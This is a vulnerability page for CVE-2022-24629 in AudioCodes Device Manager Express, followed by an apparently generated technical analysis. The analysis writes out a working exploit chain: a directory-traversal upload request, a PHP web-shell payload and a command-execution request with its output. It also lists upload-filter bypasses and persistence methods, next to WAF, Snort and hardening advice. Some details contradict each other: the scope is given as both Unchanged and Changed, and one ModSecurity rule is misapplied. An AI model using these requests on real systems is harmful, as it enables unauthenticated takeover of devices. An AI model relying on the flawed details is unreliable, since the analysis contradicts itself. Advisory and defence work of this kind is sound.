CVE-2022-24629
CVE-2022-24629
Weakness (CWE)
CVSS Vector
v3.1- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Description
An issue was discovered in AudioCodes Device Manager Express through 7.8.20002.47752. Remote code execution can be achieved via directory traversal in the dir parameter of the file upload functionality of BrowseFiles.php. An attacker can upload a .php file to WebAdmin/admin/AudioCodes_files/ajax/.
Comprehensive Technical Analysis of CVE-2022-24629
CVE ID: CVE-2022-24629 CVSS Score: 9.8 (Critical) Vulnerability Type: Directory Traversal + Arbitrary File Upload → Remote Code Execution (RCE) Affected Software: AudioCodes Device Manager Express (versions through 7.8.20002.47752)
1. Vulnerability Assessment & Severity Evaluation
Vulnerability Breakdown
CVE-2022-24629 is a critical-severity vulnerability combining two high-risk flaws:
- Directory Traversal – The
dirparameter inBrowseFiles.phpfails to sanitize user-supplied input, allowing attackers to traverse outside the intended directory structure. - Arbitrary File Upload – The file upload functionality does not enforce proper restrictions, permitting the upload of malicious
.phpfiles to executable directories.
CVSS v3.1 Vector & Scoring
| Metric | Value | Explanation |
|---|---|---|
| AV:N | Network | Exploitable remotely over the network. |
| AC:L | Low | No special conditions required; straightforward exploitation. |
| PR:N | None | No privileges required; unauthenticated access. |
| UI:N | None | No user interaction needed. |
| S:C | Changed | Exploit affects the entire system (RCE). |
| C:H | High | Complete compromise of confidentiality, integrity, and availability. |
| I:H | High | Full system control possible. |
| A:H | High | Denial of service or persistent backdoor possible. |
Resulting Score: 9.8 (Critical)
Severity Justification
- Unauthenticated RCE – No credentials required; attackers can execute arbitrary code with the privileges of the web server.
- Low Attack Complexity – Exploit is straightforward, requiring only basic HTTP requests.
- High Impact – Full system compromise, including data exfiltration, lateral movement, and persistence.
2. Potential Attack Vectors & Exploitation Methods
Exploitation Workflow
-
Reconnaissance
- Identify vulnerable instances of AudioCodes Device Manager Express (e.g., via Shodan, Censys, or manual discovery).
- Confirm version ≤ 7.8.20002.47752.
-
Directory Traversal Exploitation
- The
BrowseFiles.phpendpoint accepts adirparameter that is not properly sanitized. - Example malicious request:
POST /WebAdmin/admin/AudioCodes_files/ajax/BrowseFiles.php HTTP/1.1 Host: <target> Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; name="dir" ../../../../../WebAdmin/admin/AudioCodes_files/ajax/ ------WebKitFormBoundary-- - This allows traversal to the target upload directory.
- The
-
Arbitrary File Upload
- Upload a malicious
.phpfile (e.g., a web shell) to the traversed directory. - Example payload:
POST /WebAdmin/admin/AudioCodes_files/ajax/BrowseFiles.php HTTP/1.1 Host: <target> Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: application/x-php <?php system($_GET['cmd']); ?> ------WebKitFormBoundary-- - The file is written to:
/WebAdmin/admin/AudioCodes_files/ajax/shell.php
- Upload a malicious
-
Remote Code Execution (RCE)
- Access the uploaded file to execute arbitrary commands:
GET /WebAdmin/admin/AudioCodes_files/ajax/shell.php?cmd=id HTTP/1.1 Host: <target> - Expected response:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
- Access the uploaded file to execute arbitrary commands:
Post-Exploitation Scenarios
- Privilege Escalation – If the web server runs as
root(common in misconfigured systems), full system takeover is possible. - Lateral Movement – Use the compromised host to pivot into internal networks.
- Persistence – Install backdoors, cron jobs, or reverse shells.
- Data Exfiltration – Steal sensitive VoIP configurations, credentials, or call logs.
- Denial of Service (DoS) – Crash the system or disrupt VoIP services.
3. Affected Systems & Software Versions
Vulnerable Software
- AudioCodes Device Manager Express (all versions ≤ 7.8.20002.47752).
- Affected Component:
BrowseFiles.phpin the web administration interface.
Deployment Context
- Commonly used in enterprise VoIP environments (e.g., Microsoft Teams Direct Routing, SIP trunking).
- Often exposed to the internet for remote management, increasing attack surface.
Detection Methods
- Version Fingerprinting:
- Check HTTP headers or login pages for version strings.
- Example:
Response may include:GET /WebAdmin/ HTTP/1.1 Host: <target>Server: AudioCodes Device Manager Express/7.8.20002.47752
- Exploit Validation:
- Attempt directory traversal via
BrowseFiles.phpand verify file upload capabilities.
- Attempt directory traversal via
4. Recommended Mitigation Strategies
Immediate Actions
-
Apply Vendor Patches
- Upgrade to the latest version of AudioCodes Device Manager Express (if available).
- If no patch exists, consider disabling the web interface or restricting access via firewall rules.
-
Network-Level Protections
- Restrict Access: Limit exposure to trusted IPs via firewall rules (e.g.,
iptables,Windows Firewall). - WAF Rules: Deploy a Web Application Firewall (e.g., ModSecurity, Cloudflare) to block directory traversal and file upload attacks.
- Example ModSecurity rule:
SecRule ARGS:dir "@pmFromFile traversal-words.txt" "id:1000,deny,status:403" SecRule FILES "@detectSQLi" "id:1001,deny,status:403"
- Example ModSecurity rule:
- Restrict Access: Limit exposure to trusted IPs via firewall rules (e.g.,
-
Application-Level Hardening
- Disable Unnecessary Features: Remove or restrict
BrowseFiles.phpif not required. - Input Validation: Sanitize all user-supplied input (e.g.,
dirparameter) to prevent path traversal. - File Upload Restrictions:
- Whitelist allowed file extensions (e.g.,
.txt,.log). - Store uploaded files outside the web root.
- Disable PHP execution in upload directories via
.htaccess:php_flag engine off
- Whitelist allowed file extensions (e.g.,
- Disable Unnecessary Features: Remove or restrict
-
Monitoring & Detection
- Log Analysis: Monitor for suspicious file uploads or directory traversal attempts.
- IDS/IPS: Deploy Snort/Suricata rules to detect exploitation attempts.
- Example Snort rule:
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg:"CVE-2022-24629 Exploit Attempt"; flow:to_server,established; content:"/BrowseFiles.php"; http_uri; content:"dir=..%2F"; nocase; classtype:web-application-attack; sid:1000001; rev:1;)
- Example Snort rule:
- Endpoint Detection & Response (EDR): Monitor for unexpected PHP processes spawned by the web server.
Long-Term Recommendations
- Segmentation: Isolate VoIP management interfaces from general corporate networks.
- Regular Audits: Conduct penetration testing and code reviews to identify similar vulnerabilities.
- Vendor Communication: Engage AudioCodes for official patches or workarounds.
5. Impact on the Cybersecurity Landscape
Exploitation Trends
-
Active Exploitation: Given the CVSS 9.8 score and public exploit availability, this vulnerability is highly attractive to:
- Cybercriminals (e.g., ransomware groups, data thieves).
- State-Sponsored Actors (e.g., APT groups targeting VoIP infrastructure).
- Script Kiddies (due to low exploitation complexity).
-
Proof-of-Concept (PoC) Availability:
- Exploits have been shared on Full Disclosure mailing lists (February 2023).
- Likely integrated into Metasploit, Nuclei, or other offensive security tools.
Industry-Specific Risks
- Telecommunications & VoIP Providers:
- Compromise could lead to call interception, fraud, or service disruption.
- Enterprise Environments:
- VoIP systems often integrate with Active Directory, CRM, or ERP systems, enabling lateral movement.
- Critical Infrastructure:
- VoIP is used in emergency services, healthcare, and government, making this a high-priority target.
Broader Implications
- Supply Chain Risks: AudioCodes devices are OEM’d by other vendors, potentially expanding the attack surface.
- Compliance Violations: Exploitation may lead to GDPR, HIPAA, or PCI DSS violations if sensitive data is exposed.
- Reputation Damage: Public breaches via VoIP systems erode customer trust.
6. Technical Details for Security Professionals
Vulnerability Root Cause Analysis
-
Insecure File Upload Handling
- The
BrowseFiles.phpscript does not validate file extensions or content types. - No server-side checks prevent
.phpfiles from being uploaded.
- The
-
Directory Traversal Flaw
- The
dirparameter is concatenated directly into file paths without sanitization. - Example vulnerable code (pseudo-PHP):
$target_dir = "/var/www/uploads/" . $_POST['dir']; move_uploaded_file($_FILES["file"]["tmp_name"], $target_dir . $_FILES["file"]["name"]); - Attacker-controlled
dirallows writing to arbitrary locations.
- The
-
Execution Context
- Uploaded files are placed in a web-accessible directory (
/WebAdmin/admin/AudioCodes_files/ajax/). - The web server (e.g., Apache, Nginx) executes
.phpfiles, enabling RCE.
- Uploaded files are placed in a web-accessible directory (
Exploit Development Considerations
-
Bypassing Restrictions:
- If
.phpuploads are blocked, attackers may try:- Double Extensions:
shell.php.jpg(if MIME type checks are weak). - Null Byte Injection:
shell.php%00.jpg(if the application is vulnerable). - Alternative Extensions:
.phtml,.php5,.phar.
- Double Extensions:
- If
-
Post-Exploitation Persistence:
- Cron Jobs: Schedule malicious scripts.
- SSH Keys: Add attacker-controlled keys to
~/.ssh/authorized_keys. - Web Shells: Deploy tools like Weevely, PHP-Reverse-Shell, or C99.
Forensic & Incident Response Guidance
-
Detection Signatures
- Web Server Logs:
- Look for
BrowseFiles.phpwithdir=..%2For../patterns. - Check for unexpected
.phpfiles in/WebAdmin/admin/AudioCodes_files/ajax/.
- Look for
- Process Monitoring:
- Unexpected
php,bash, orpythonprocesses spawned byapache2/nginx.
- Unexpected
- Web Server Logs:
-
Remediation Verification
- Manual Testing:
- Attempt to upload a benign file (e.g.,
test.txt) and verify it cannot be executed. - Test directory traversal with
../../../etc/passwd.
- Attempt to upload a benign file (e.g.,
- Automated Scanning:
- Use Nessus, OpenVAS, or Nuclei to confirm patch effectiveness.
- Manual Testing:
-
Containment & Eradication
- Isolate Affected Systems: Disconnect from the network to prevent lateral movement.
- Remove Malicious Files: Delete all unauthorized
.phpfiles in web directories. - Rotate Credentials: Assume all credentials on the system are compromised.
- Reimage if Necessary: If root-level access was obtained, consider a full system rebuild.
Conclusion
CVE-2022-24629 represents a critical, easily exploitable RCE vulnerability in AudioCodes Device Manager Express. Due to its low attack complexity, unauthenticated nature, and high impact, it poses a significant risk to organizations using affected versions. Immediate patching, network segmentation, and WAF deployment are essential to mitigate exposure. Security teams should monitor for exploitation attempts and conduct thorough forensic analysis if compromise is suspected.
For further details, refer to: